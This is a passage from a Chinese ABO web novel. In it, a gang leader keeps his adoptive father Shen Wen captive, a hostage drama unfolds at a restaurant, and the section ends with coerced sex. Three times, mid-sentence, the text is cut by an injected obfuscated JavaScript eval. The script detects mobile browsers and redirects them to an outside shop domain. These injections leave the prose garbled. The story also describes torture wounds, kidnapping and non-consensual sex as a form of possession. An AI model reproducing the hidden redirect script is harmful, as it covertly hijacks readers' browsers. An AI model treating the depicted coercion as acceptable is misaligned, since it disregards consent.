还是不能将人逼得太紧,顾承厌望着对方的脸想。沈闻的身体太娇气,似乎稍用点力都会碎,他现在甚至有点后悔,昨晚应该再控制一下自己的脾气。 就当做什么都没发生好了,只要沈闻最终还是在自己身边。 等顾承厌从房间离开,沈闻才终于有机会清理起自己的现状。 身体倒没什么大碍,那东西打在背上疼,但实际却并不及筋骨,左右上了药不过一两天便会彻底恢复;左手手腕包着一层纱布,大概知道戴了也没用,顾承厌没再给他戴上CN手环,只是右手上多了个普通黑色手环,仅做检测作用,轻轻一摘便能摘下。 至于外部环境…… 沈闻现在所在仍是三楼那个采光极好的房间,顾承厌貌似也没有要锁人的意思,沈闻走到房间门口,将门把手往下一压,门便开了。 “沈先生,您要下楼吗?” 门外,一直守着门口的三水将头一转,看向从房间出来的人。 沈闻此时已经换回自己的衣服,灰色居家服挂在身上,即使顾承厌一日三餐都有叮嘱孙姨好好安排,他还是瘦了些,衣服就更显得大了。 银灰的发丝软软耷在后颈,三水仅看了一眼,随即匆忙收回视线: “老板说您可以到楼下去,但如果要出门,得让他陪您一起才行。” “……” 沈闻往斜对面房间看去一眼,那房间关着门,也不知道顾承厌到底还在不在别墅。 但即使对方在,他也没有要去主动找人的打算。 朝对方微微一颔首,沈闻回到房间,关了门。 接下来大半天都是在房间里度过,顾承厌没出门,沈闻也不想在外面遇到他,连晚饭都没下楼吃,一直到第二天早上七点半,顾承厌亲自到门外叫人。 正常情况下,沈闻的睡眠都极浅,人刚走到门外,他便已经从睡眠中惊醒,坐起身。 “吵醒你了?” 顾承厌没敲门,而是径直打开了反锁的房门进入房间,沈闻对此倒早已见怪不怪,侧眸瞥了眼来人,脸上还带着刚睡醒的那种恹恹的神情。 “还早,只是进来看你一眼,还可以继续睡一会儿。” 顾承厌继续道。不过沈闻看上去却不打算继续睡了,完全无视对方的视线,他自顾自下了床,赤脚走进浴室。 浴室门外,顾承厌站门口敲了两声门,直到听到里面响起水龙头的哗哗声,这才掏出钥匙打开门,蹲下身将拖鞋放到沈闻脚边: “穿鞋,待会儿该冻感冒了。” 沈闻一边刷着牙,很想告诉对方自己一个Alpha不会这么容易生病,但终究理智占据上风,秉持多一事不如少一事的原则,他还是穿上了脚边那双毛绒拖鞋。 镜子内,两个Alpha一前一后站在洗手池边,矮一点的那方头顶只及另一方鼻尖,这个高度正好能让顾承厌吻到对方额头耳尖,沈闻一手拿着牙刷,不动声色往旁挪了挪。 “刷完牙就下来吃早饭,我到楼下等你。” 轻笑一声,顾承厌到底没有再为难对方的意思,转身离开浴室。 _ 中午,康悦私人医院。 “按压三到五分钟,等不流血了就行。” 衣袖从手腕挽至大臂的位置,露出底下白皙均匀的小臂,薄薄一层皮肤下淡青色的血管都清晰可见,等离开抽血处过到三楼办公室门前,沈闻随手把棉签丢进垃圾桶,手臂上只剩下两个泛青的小针孔。 “晚上回去先别着急洗澡,晚点用热毛巾敷一下。”将视线从对方手臂上收回,顾承厌让人坐外面休息,自己推门进了办公室。 在医院做的一系列检查复杂而繁琐,等把所有与腺体有关没关的检查都做完,已经是中午十二点。 沈闻坐在办公室外走廊边等顾承厌拿报告,百无聊赖翻着手上各种检查单,一抬头,正好撞见电梯门打开,好几个医护人员推着一架转运床头也不抬从走廊一路奔驰而过。 堪称极其浓烈的血腥味裹挟消毒水的气味转眼便拥满这个走廊,沈闻轻皱了皱眉,等再抬头,那架转运床已然推至他面前。 躺在人群中浑身是血的人睁着眼正好与坐在长椅间的人对上目光。 刹那间,沈闻放在膝盖上的手微不可察一紧,指尖抓皱了牛仔裤布料。 这个人他认识。 如果没认错的话。 躺在担架上的人正是狂夜俱乐部一个挺有名的打手,真实姓名不祥,但在狂夜内部这人代号“白越”,跟沈闻是同一年注册的人。 但沈闻在狂夜内其实并没有与他交过手,之所以对对方印象这样深刻,是因为他曾跟组织内一个十分重要的线人交接时也见过这人,当时这位Alpha就坐在线人旁边,看姿态跟那名线人不是一般的熟。 所以他怎么会在这儿?居然还被人搞成了这幅模样? 床上的男人一只手放在担架边,从手指尖到手臂大臂位置基本见不着一块儿好肉,上面横布各种刀伤、烫伤、鞭伤,身上的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318944|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没一处干净,甚至隐约可见胸口出外翻的皮肉组织…… 可以肯定不是意外,以往在黑鸟地下二层见过的审讯多了,沈闻几乎可以仅凭外观,便辨认出这人身上哪些伤口是由哪些刑具造成的。 而这人受了这样致命的伤后,竟还能清醒着被送进医院。 “沈少校,好巧,没想到居然能在这儿遇到您。” 面前的转运床转眼便由医护人员推至走廊另一边,只留一连串的鲜红血渍还分明映在白瓷砖上。金文书走过来时,还刻意避开了地面的血渍,双手放在白大褂口袋里步伐缓慢走到沈闻面前。 “你的人?”沈闻询问。 内层意思应该是问你审的人,毕竟来人虽然在刻意避开地面的脏污以避免血渍弄脏他的鞋,但他的身上其实已经脏了,领口的血都还未彻底干透。 “是啊,混到组织二把手的位置还要亲自审犯人,沈少校就不好奇这人到底是谁?” 金文书露出他那一贯温和又不着眼底的笑:“不过话又说回来,沈少校背后那两条痕迹不也是三年前仓库里……” “我已经卸任,就不多好奇你们组织内部的事了。”沈闻突然开口,打断了对方继续。 顾承厌安排的手下就守在走廊另一边,与俩人相隔不过几步距离,低着头没有任何要偷听俩人对话的意思。金文书闻言嘴角笑意更深了些,顺着对方的话,继续谈起刚刚那个话题: “别啊,沈少校还是这样一副淡然无味的样子那多没意思,如果这个人跟您有关,您也不关心?” “什么意思?”话到此处,沈闻终于抬头,直直看向面前的人。 一个在黑鸟坐上二把手位置能跟顾承厌凑到一起的人能是什么善茬,更何况对方还是个极端反中区者,沈闻本不想与他有过多交流,但对方一席话,又令他不得不正视向面前那老狐狸般看不透的人。 “当然就是字面意思,”金文书似乎不欲多言,也许他只是单纯觉得这样耍人很好玩,连坐都没坐,仅仅站在距离沈闻两步外的地方: “不知道沈少校是否知晓‘research’?或许您应该比我清楚一些,毕竟那可是你们一区的组织。猜猜看,那些人来三区……” “在谈什么?” 办公室大门突然打开,顾承厌拿着报告单,眼底无任何情绪看向走廊上的俩人。 要说的话被再一次打断,不知是命中注定还是本该如此,金文书也不恼,他想说的貌似都已经说完了,听顾承厌的话后耸耸肩,退开半步: “没什么,” “跟沈先生打个招呼而已。” “是吗?”顾承厌看向沈闻。 然而长椅上,沈闻并没有要搭理顾承厌的意思,双手叠在膝盖兀自思索金文书话里的内容。 彼时正好一个小护士急匆匆从走廊另一边赶来,向金文书报告手术室内的紧急情况,眼看手术室里那“线索”就要不行,金文书与俩人点点头,算是打过招呼,转身便跟着护士离开。 “该走了。” 等人走远,顾承厌收好手上的检查报告,这才出声提醒。 对面两个手下也早已绷直身体立到斜前方,沈闻慢吞吞起身,随即被顾承厌一把揽过肩: “医生说腺体恢复不错,后面可以适当减少药物使用量。” 沈闻沉默以应。 “今天中午就在外面吃吧,干爹不是喜欢A2路那家餐馆的麻辣香锅,今天就去那里吃,” “当给干爹陪不是了。” 11. “你别动他” 临近下午一点,那家主推麻辣香锅的餐馆内依旧人满为患。 顾承厌已经提前派人订好包厢,等俩人到店刚坐下,服务员便端着个大铁锅走上前,并在外圈摆上几盘小菜。 也许出生在一区西南分区的人都有这种偏好,沈闻向来对甜食不太感兴趣,反而偏爱一些重麻重辣的食物。这件事在三区大概没几个人知晓,毕竟沈闻基本不在外面吃东西,即使有酒席不得不参与,也从来只会习惯性吃两口牛排垫垫肚子。 至于顾承厌是怎么知道的,五年前俩人刚绑定干父子关系时,尚且未满十六岁居无定所的顾承厌曾被迫到沈闻家里蹭过一段时间饭,那时沈闻家里有个临时的beta厨师,做的最多便是西南一带的菜品。 在越庭住的那几天,沈闻也向孙姨提过吃点辣椒这件事,不过当时他身体没恢复,顾承厌不让,沈闻提了一次便再没提过。 桌上不仅有一大锅干锅虾,几碟小菜中也有不少是西南分区常见的辣炒,顾承厌甚至贴心地给人点了一道白水菜。 以免辣椒太辣,也可以防止上火。 “尝尝,不是一直想吃?” 顾承厌夹起一只虾,没剥壳直接放进沈闻碗中。 这种虾的壳往往已经煎得很脆了,即使不剥壳也能直接入口,甚至还更入味些。沈闻拿着筷子,顿了顿,最终还是夹起碗里那只虾放到嘴边。 “好吃吗?” 顾承厌就坐在旁边看着,桌上的东西一口也没动过,就这么撑着头望着沈闻进食。 沈闻的吃相十分优雅,他咀嚼得很慢,往往一口咽干净了才会去咬下一口,明明身处这样一处可以说是非常充满烟火气的地方,他却半点不像在吃干锅,倒更像坐在高档餐厅品尝一份上等牛排。 顾承厌已经不记得自己到底从什么时候起开始注视沈闻吃东西。但他的吃相真的很好看,好看到让人总会抑制不住地想要扑身上前,撕开他那副最漂亮最得体的外表,露出底下最真实的模样,拆开,分解,然后吞吃于腹。 “看够了?” 被盯了半晌,沈闻终于没忍住,冷声开口。 顾承厌的视线就仿佛一条黏腻的毒蛇,无论被注视多少次,他都始终无法自主忽略这道目光。而旁边的人也在此刻动了动,站前身亲手给沈闻盛了一碗菜汤,美其名曰“多补充点维生素”。 沈闻被迫接了那碗维生素汤,小口小口喝着,很快一碗汤便见了底。 一顿饭接近尾声,他的心情似乎比之前好了不少,靠在椅背上的身体有那么一丝微不可察的放松,似乎也没打算计较对方盯了自己半天的事,转而以一种戏谑的口吻,这么多天第一次主动开口与顾承厌对话: “顾老板这样带我出来,不怕待会儿我又跑了?” “你跑不掉的。”顾承厌回复。 即使沈闻的话题并不令人满意,但他还是愿意继续对话,在茶余饭后谈两句无关紧要的东西:“无论你跑去哪里我都会找到你,干爹自己也清楚,不是么?” “呵。”沈闻冷哼一声,拿起茶杯轻抿半口,语气听不出究竟什么情绪: “高兴时就拉出来放放风,不高兴了就放家里关着,顾老板还真是养了个好宠物。” “干爹如果肯听话,我也没有不让你出门,不是吗?” 眼看饭吃得差不多,顾承厌起身命人拿来湿毛巾,正想替人擦手,毛巾便被沈闻自己径直接过。 Alpha见状识趣收回手: “收拾好就走吧,我们该回家了。” 另一边,手术室内。 经过一轮翻手忙脚乱的抢救,病床上那位beta的情况总算稳定下来,闭着眼呼吸平缓被推进重症监护室。 耳边的仪器“滴、滴答”发出一声接一声轻响,金文书就坐在床边,身上的手术服还没脱下,鼻梁上的金属眼镜反射出暗金色的光泽: “别装了,我知道你还醒着。” 床上躺着的人一动不动。 “再继续装,我就要亲你了,哥哥。” 金越陡然睁眼,一双与金文书有着七分相似的眼睛轻颤了颤,接着以一种堪称难以置信的眼神径直看向斜侧方眉眼带笑的Alpha。 他显然想开口说些什么,再不济也会带着怒火威胁金文书两句,然而氧气罩还覆盖在面上,金越说不出,也骂不出任何一个字,只能看着对方。 不知在想些什么。 “哥哥的身体素质不错嘛,居然到现在还能保持清醒。”金文书突然感慨:“不过您怎么会突然想要在这里自杀?这可是在医院里哎?” “即使把上面给你那小朋友,叫什么‘小书’是吗,弄丢了倒也不用以死谢罪吧?” 面上覆着氧气罩,金越也开不了口,只是在与对方视线相撞瞬间满眼嫌恶将目光再次移开。 金文书往后靠了靠,也将视线错开,落在一旁一秒一变的心率检测仪上。大概是料到对方不会再给自己提供更多情报,他看了会儿,便从椅子上站起身,接着快步走出监护室: “多让几个人进去看好他,他要再寻死,你们几个也不用在这里干了!” _ 顶楼停车场,有服务生提前在门口等候带路,等司机将车停稳,沈闻仍靠在门边,继续思索之前从金文书口中得出的话。 一个一区突然出现的不明组织,来自联盟高层与傅谨松的默许…… 自从看到那串“research”英文标识,来自幼年时期遥远模糊的记忆便再次破土而出,隐约间,沈闻总有一种不好的预感,并且这种预感随时间推移愈发强烈。 裴林还在傅谨松手下做事,那个与自己来自同一所孤儿院的小孩,自己曾答应院长会不惜一切代价保护好他。然而自从卧底到三区,他基本已经断了与裴林的直接联系。 正出神,顾承厌已经从身后走上前,手上多出一把黑色雨伞。 三区的雨总是说来就来,细雨一飘,周围气温瞬间又降了好几个度。顾承厌撑开黑伞,斜飘的雨丝很快便沾湿伞面一个角,那家占地三层的餐馆顶楼侧门距离停车位置还有一小段距离,沈闻走上前,然而没等俩人走到车车辆边,餐馆侧门内又突然冲出一个人。 “救、救我!” 少年的声音在空旷的VIP停车场上空显得格外清晰。 来者是个面相只有十六、七岁的少年,身上穿着与餐馆内服务生一模一样的衣裳。 不知是因为整个停车场目前只有沈闻以及隔壁一批刚准备上车的客人,还是因为沈闻长得过于白皙好看不像个坏人,即使站在一旁的顾承厌看上去一点不像个好人,那少年稍作抉择,还是朝着沈闻这边冲了过来。 “求求您救救我!他们、他们要把我拿去卖给——!” 少年的长相跟三水有一点像,都是那种小巧可爱的脸型,偏圆的双眼让整张脸更加显得幼态了。 然而跌跌撞撞的少年还没跑至俩人跟前,便已经被以藏青为首的几个保镖拦下,拦截在原地。 背后追他的人也很快跟上,两个壮汉一人一边钳制住少年的手臂,纤细的手腕在重压之下甚至隐隐发出要断裂般的“咔咔”声,几个人一边道歉,同时捂住少年的嘴便要往回走: “不好意思新来的小孩不懂事,打扰到贵客清净,我们这就带他回去——” “等一下。” 沈闻原本没有打算多管这件闲事。 他眼下连自己都深陷泥沼,自然不会自大到试图去帮另一个素不相干的人,但当那少年剧烈挣扎中不小心露出小臂内侧一道形如“research”的刺青,事情就变得有些不一样了。 这个人必须拦下来。 而另一边,顾承厌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318945|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也显然注意到沈闻眼底一晃而过的异常,递过旁边一个眼神,几个保镖立马心领神会上前拦住几人。 “两位先生,打扰到你们真是十分抱歉。不过您看我们这边的情况实在有点特殊,能不能……” “这个孩子跟我挺有缘,反正都是卖,不如两倍价格卖给我?” 沈闻打断的声音不紧不慢,顶楼风大,冷风刮过大衣衣角顺道扬起了那偏长的银发。明明是句礼貌的询问,清冷的声线听上去甚至可以算得上平和,但没由来地,话被吹到耳边却能重得撞出声来。 “这……这恐怕不好吧?”那人陪笑,“我们几个也是按上面吩咐办事,您看……” “我看可以,等你们上面问起,就说被黑鸟带走了。” 话未说完,又起一声。 能解释这两句简直都算看在沈闻愿意跟对方扯的份上,顾承厌才给了旁边保镖一个眼色,示意对方递一张名片过去。这要放在平时,想必这位黑鸟的掌权者早已经干净利落把人扣下带走。 扎着长辫的男人给对面递过一张名片,印有一整只黑色飞鸟的卡片下一秒便滑落对方胸前口袋中,接着不管对方同不同意,藏青抬手往后一招。 几个躲在暗处的保镖瞬间一齐围上前。 “我看谁特么敢抢人!” 意料之外的,对面为首那人突然拔出枪。 饶是细雨朦胧下顾承厌没能在一开始看到少年手腕内侧的刺青,但这种场景下,他也该意识到那位少年的特别之处。有力的手臂下一秒便将沈闻拉到自己身后,两边的保镖随即冲上前,首当其冲,站在最靠外围的藏青瞬间飞扑上前,仿佛一只最忠诚的鹰,一把击落那预备瞄准沈闻的手枪! 砰、砰砰——! 枪响刹那,背面又突然串出一群人,每个人手臂内侧毫无意外都刻着一串英文,近十名等级不低的Alpha扑上前,然而没等靠近,几人便让顾承厌这边的人直接拦下,双方人马近身扭打在一块儿。 “先上车。” 顾承厌攥紧沈闻的手,带着人往旁退去。 不清楚对方到底还埋了多少人马,保险起见怎么样都该先把沈闻带走再说。也不知每次带沈闻出趟门都能碰到这种事该算运气超群还是倒霉到家,万幸这里隔车停的地方也不远了,至于剩下那个少年…… “别动!” 巨响响起瞬间在场所有人皆是一顿。 没人知道那人是什么时候进到车内的。 这其实很奇怪,一个上一秒还在留着泪向沈闻求助的少年,到底是怎么做到无声无息就躲进车内,甚至拿到了一把枪,还是一把装有子弹的枪。但等顾承厌反应过来,迅速动手要将沈闻带回自己身边时,事情已经晚了。 黑洞洞的枪口已然靠近沈闻后脑勺,“砰”的一声,巨响震得沈闻耳边一阵几近空白的嗡鸣。等反应过来,子弹已然穿过耳边空气瞬间划破脆弱的皮肤,沈闻眼睁睁看着面前的人肩膀处炸染开一片红晕,然而车门边,顾承厌始终不为所动,脸上一片阴沉几近固执般扳着车门拦在沈闻面前。 “再多动一下,下一颗子弹便会直接打到他的身上!”少年咬着牙,“这位先生,您也不希望我手上的人质出事,是吧?” 明明声线正明显发着抖,但少年的手劲却依旧大得出奇。 毫不夸张来说,背后这人的力气简直能与身为S级Alpha的顾承厌打成平手,以至于沈闻在最初的挣扎受制后,很快便放弃反抗,任由对方将黑洞洞的枪口抵到自己后颈。 而对面,顾承厌闻言也终于松开车门,另一只手握拳垂在身侧,因过分用力止不住小幅度颤抖: “你别动他。” “那就让开,让另外的人过来!把他捆住,然后开车——”少年顿了顿,声音完全紧绷: “去A4路城郊那栋烂尾楼。” 12. 做一次吧 少年目光胡乱一指,指的人刚好就是不远处的藏青。 一身黑色紧身作战服的Alpha面色看上去不比顾承厌放松多少,整个身体都紧绷着,持枪的手指节紧握到发白,不知是为了自己岌岌可危的职业生涯还是单纯因为沈闻。 不过相比双方的剑拔弩张,沈闻这个真正被挟持命悬一线的人却显得放松很多。 少年一条手臂死死卡在他的脖颈上方,另一只手端枪指在后颈,这是一个极其被动的姿势,被卡在束缚中的人也十分难受,沈闻甚至能感受到开过一枪的枪口正在身后源源不断冒出热量,热气烫得他后颈有些发疼,然而脸上却始终没现出任何一丝多余表情。 浅色的眸子淡淡从顾承厌脸上瞥过,接着顺背后之人的示意落向藏青。沈闻尽量让自己的姿态看上去足够无害,眉眼静默下垂,脖子往后仰,便于对方更好掣肘,同时也最大限度避免了自己受伤。 “快点!” 少年的情绪肉眼可见愈发激动,指在沈闻颈后的枪口数次从碎发间扫过,热源贴过皮肤,瞬间便在白皙的后颈留下一道印记,沈闻轻吸一口气,没动。 周围两方人马的打斗声不知何时也渐渐停了下来,顾承厌手下的人不出意外以绝对优势压过对面,一群着装不一的“服务生”被扣压在地面,整个停车场一时间仿佛都被按下时间暂停,无一人出声,也无一人动作。 “听不到吗?!”少年再喊。 “按他说的做。” 顾承厌此刻已然恢复冷静,半举双手,在对方恶狠狠的注视下缓慢后退两步,给藏青留出足够上前的空间。 雨还在继续下,并且还有越下越大的趋势。 由于俩人身处车辆内部,沈闻又被挟持着几乎遮挡住整个车门,即使藏青无论战斗水平还是作战经验都远在少年之上,面对这样的情况,也根本没办法完成救人,只能按照对方要求丢下枪,缓缓取出随身携带的束缚带捆住沈闻双手。 “绑紧一点!” 少年手上更用了点力,作势便要将人往车内拖。 藏青没办法,只能严格按对方说的那样将束缚带拉紧打上死结。 纤细的手腕在压力下很快泛起一片红痕,沈闻被扣着往后拖了拖,紧接着,少年示意藏青关门上车: “你最好少给我耍点花样。” “烟雾麻醉快还是我的枪快,我想先生分得清楚。” _ 阴雨天路况复杂,藏青将车开得很慢,正好雾一般的细雨盖在路上也能遮挡部分视线,因此顾承厌几人的车在后面跟得挺紧,少年也没发现异常。 一路上车里没一个人说话,沈闻直着身坐在少年旁边,被捆绑住的双手放在大腿处,垂着眸,不知在思索什么。 少年的枪从开始到现在便一直一动不动抵在他后背,藏青一言不发在前面开车,墨绿的眼睛时不时便往后视镜上瞟,细雨将两边景象都抹得模糊不清,然而沈闻始终没抬头,也没跟前面的人对视过哪怕一次。 于是车辆只能按部就班往前开,路面湿滑,但周围的车辆也不多,即使藏青有意要放慢车速,他们还是很快便到达少年规定的地点。 毕竟这儿离那家餐厅其实也不算太远。 雨似乎渐渐停了。由细丝遗留成的水滴聚在地面,不一会儿便已然在坑坑洼洼的地表汇出一个个水洼。 仅有一个空架子的烂尾楼耸立在地表,生锈的钢筋戳穿水泥,楼底下,藏青刚将车停稳,少年分秒不停立马便扯着沈闻下车: “不准跟过来!让我和他先单独进去!否则你就等着给我们两个一起收尸!” 藏青闻言下车的步子一顿。后面的车还有几分钟才能跟来,为避免再刺激到对方顾承厌他们也不敢直接开车进入,眼下沈闻也仍被牢牢架在对方手中,没有办法,藏青唯一能做的只有收回准备下车的腿,示意自己会放俩人进去。 “你也老实点,别以为你是个Omega我就不敢动你!” 沈闻:? 少年沉声的威胁自耳边响起,沈闻被卡着脖颈,一边踉跄着配合对方往里走,还没来得及反应,便被人一把推倒在地。 说是十六七岁的少年,实则对方的身高甚至比沈闻还高上那么一点,这一推少年也没收着力,肩膀重重撞上墙体瞬间,沈闻甚至听到自己骨头一声轻响,平静了一路的脸上此刻终于现出一抹痛色。 “你……”那少年似乎也没想到自己手上力气这么大。 好在沈闻并不是个Omega,Alpha的体质也不会让他这么轻易就被摔骨折。他闭了闭眼,很快从疼痛中缓过神,被束缚着的双手用力一撑地面,随即整个人踉跄从地上坐起身:“把枪先放下。” “我凭什么听你的!” 倒地上的人呼出一口气,强行按下自己咳嗽的冲动: “凭我是你……同一个导员的学长,够吗?” 最开始,沈闻的确没认出眼前这个少年就是裴林与自己提起过的那个同学。毕竟俩人现在差别太大了,沈闻还只见过那人照片,在被挟持上车之前,他想把人救下来也不过单纯为了问点事情顺道打探一下一区最近的情况,也根本没想过要瞒顾承厌点什么。 可现在,自己脑子一热,就直接跟着对方过来了。 正常情况下,即使当时事发突然两个人都没反应过来,顾承厌再着急,这会儿冷静下来,大概率也该反应过来自己是故意跟人走的。 啧,算了…… 来都来了,那便一件事做到底,只希望对方给出的信息能对得起这次冲动。 “沈……沈少校?” 常书的声音卡了卡,眼底神情由一开始的凶恶警惕,逐渐带上些迷茫疑惑,到最后过了数十秒钟,彻底被震惊取代。 他像是没想到自己眼前的竟然真是沈闻本人,视线定定地又多在对方停了数秒。银灰的头发,可以说十分罕见的浅灰色瞳孔,即使没真正见过,但这样的长相,联盟内又能有几个人拥有呢? 常书持枪的手虚了虚,下一秒赶忙丢了东西,上前忙不迭查看起地上之人的情况。 “没事……”沈闻摆摆手,自己扶着墙从地上起身。 后面的人不知道还有多久追上来,不过以顾承厌的速度总归拖不了太久,当务之急还是给对方先找个后门:“后面应该有另外的出口,你等会儿直接跑,我在这里他们一时半会儿追不来。” 既然对方主动要求来了这儿,这个学弟蠢是蠢了点,但总不至于没点后手就敢乱跑吧? “可……”常书似乎还是没反应过来:“那您呢?一区出了这么大的事,您不一起回去吗?” “出什么事了?” 警惕注意了眼门外,沈闻闻言,隐约间皱了皱眉。 可常书始终支支吾吾,明明是他自己提起的一区,现在一细问,他又像卡壳了一般,双唇嗫嚅了好一会儿,仍然没能组织起语言: “我不知道……好像就是那个……那个时候……” 沈闻清楚地记得近期联盟的新闻,并没有报道任何有关一区的大事件。 自从一区对三区那场“下马威”结束,傅谨松顺利连任SAN总司令以来,联盟已经很久没发生过什么足以震惊五区的政治大事了。不过新闻上没报,也不代表没有,对于常书这番说辞,沈闻还是带着半信半疑的态度: “你确定事情很大?” “我……我不清楚,但您可以看看这个。” 又是“research”的图标。 这已经是沈闻短短三天时间第三次听到见到这个单词,区别在于前两次他都没能仔细看清,这一次,近距离观察这个刺青,沈闻终于能肯定—— 他见过这个标志。 在很小的时候,粗略估计是五六岁之前。 常书很快将上挽的衣袖放下:“傅司令难道没让您回去?” 也许让了吧。 但自己被顾承厌看得紧,就算有消息传来,大概率在中途就被拦下了。 沈闻不置可否,视线再一次往门口瞥过。隔着一座空架子般的建筑,能隐约听到外面有汽车的引擎声,排除无关人员随便路过这个万分之一小概率可能,最合理的解释便是顾承厌他们已经过来了。 “最后一个问题,刚才那些人为什么抓你?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318946|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 烂尾楼外,一排排无人打理的绿化树植间。 数辆黑色轿车在路边停下,车上下来几十个人,短短数秒便已然悄无声息靠近烂尾楼将整片地方严丝合缝包围。 顾承厌快步走过正门,烂尾楼前空旷的泥地上,只剩一辆银色迈巴赫仍停在原地,前后车门都大开着。 人似乎都已经走完了。 没任何停留,来人将视线从车上收回,接着很快走进烂尾楼内部。 雨后空气的湿度总是很大,灰蒙蒙的烂尾楼内部仿佛都挤满一层水滴。楼内一片死寂,肩上未经仔细处理的枪伤还隐约渗着血,顾承厌面色阴沉往一楼空间随意一看,随后径直走向楼梯间,直奔顶楼。 “不帮我解开吗?” 烂尾楼最高七层,通往天台的楼梯间已经被堵死,于是乎沈闻最多只能来到第七楼,随意找了个承重柱靠着,看向紧随其后而来的藏青。 “如果我解开,你会跟他一起走吗?”藏青询问。墨绿色眼睛瞥向对方被勒得泛红的手腕,随后又立马收回。 眼前银发灰眸的Alpha看上去实在太过于危险,但凡懂行一点的人,都能看出手上那小小一条束缚带根本捆不住他,也就刚才那个被逼急了的少年还天真地以为自己能拿捏住沈闻。 当年刚来黑鸟没多久的沈闻甚至一次单挑过三个同等级Alpha,几年过去,即便这段时间藏青能明显感觉出对方状态不如从前,他仍是不敢保证自己能拦住沈闻。 沈闻:“怕我跑了不好交代?” “只是不想你跟老板的矛盾更加激化。”藏青如是回复。 “呵。”被紧紧束缚的地方有点不舒服,沈闻又活动了两下手腕,但终究没自己挣脱,不含情绪的双眸抬起又垂落: “那顾承厌当初带你回来还真是个明智的选择。” 想试探的东西没试探出来,沈闻也不欲多说什么,沿着水泥柱子蹲下身,看样子是准备坐会儿。藏青也没再开口,拦在楼梯间的位置,与沈闻始终保持一个不远不近的距离。 整栋楼随即寂静下来。 不过这样的寂静并没有保持多久,不过几分钟,烂尾楼底便传来一阵上楼的脚步。脚步声先是很急,快到达七楼时却一下放缓,甚至有一瞬间的戛然而止,顾承厌停在楼梯间,继而又上前,一步一步不疾不徐来到沈闻面前。 沈闻只觉手上一道巨力,下一刻,整个人便径直从地上被拉起,一把拥入顾承厌的怀抱中。 堪称浓烈的烟草味,还有经常性沾染的血腥气,两种刺激的味道一同迎面扑来涌入鼻尖,沈闻给呛得直想咳嗽,一边试图把人推开,回头,却被更紧地嵌入怀里。 顾承厌一句话也没说,只是带着人一言不发便往外走。 十分有力的心跳透过胸腔震入耳膜,沈闻被挟持着,也弄不清对方到底什么态度,横竖反抗不过,只能任凭对方近乎独断专行地带着自己下楼,踩过泥地,再进到迈巴赫后座。 “看好他。” 这是顾承厌从烂尾楼回到别墅后说过的唯一一句话,却也不是对沈闻,而是对三楼房间门口的守卫。 房间门被自外反锁,手腕上过药后又被一副嵌了软边的手铐重新锁住。黑鸟这位掌权者这次像是真的生气了,手下一个beta来给沈闻戴手铐时,他就在门口沉默着,双手环抱,晦暗的视线让那个手下足足扣了三次才把手铐扣好。 这样的情况一直持续到晚上九点。 沈闻被铐在床头保持一个姿势快要腰酸时,房间门终于被再次打开,门外,顾承厌已经换上平时那套居家服,似乎也洗过了澡,黑色的发尾还未干透,水珠一滴滴顺尾部滑落,紧接着消失在领口下方。 “沈闻。”没再喊对方干爹,这次顾承厌走到沈闻面前,直接叫出了沈闻的全名。 昏黄的光线下,顾承厌顺手拉开床头一个抽屉,滑道摩擦出一声闷响,沈闻竟不知道,那柜子里什么时候放了那种东西。 “体检报告上说可以了。”小瓶药的盖子被翻开: “我们做一次吧。” “不然我真的控制不住自己做出更过分的事。” 13. 脚链 但其实做这件事本身就已经极其过分。 淡淡的信息素很快遍布整个房间,如果可以,沈闻或许更宁愿像铂悦那次被“打”一顿,或是再被踹上一脚,也好过被另一个Alpha强行压在身下,被迫压抑着去承受那些,根本就不属于自己不该由自己承受的东西。 只可惜顾承厌明显不准备放过这个屡次三番背叛自己的骗子。 S级Alpha的恢复力与精力简直强到可怕,灯光被调到了最暗,信息素浓度也被刻意调控到一个可以接受的范围,面前的Alpha背着光拦在沈闻身边,眼底情绪根本看不清。 沈闻隐约记得对方在今天中午才被常书伤过一枪,可现在看上去好像半点都不受影响了。顾承厌很快又恢复沉默,一言不发动手替沈闻解开手铐,“哐当”一声,手铐被随手丢弃到地上,取而代之一小片白色药片被递到沈闻面前。 “……”沈闻看了眼窗外。 窗帘只拉了一半,夜色下圆形的摄像头还有一小部分露在视野范围内,不知是不是下午下过雨,今晚天气意外不错,甚至还能看到一两颗星光: “我想关灯。” 于是顾承厌按下了床头的开关。 这下连最后一点微弱的灯光也被掐灭,只剩银白色月光擦过窗帘。可惜Alpha的夜视能力都太强了,即使关上灯,沈闻还是能看清自己眼前那小片的药,他顿了顿,继而缓缓张嘴。 下一秒,药片顺着温热的食道被水流冲入腹中。 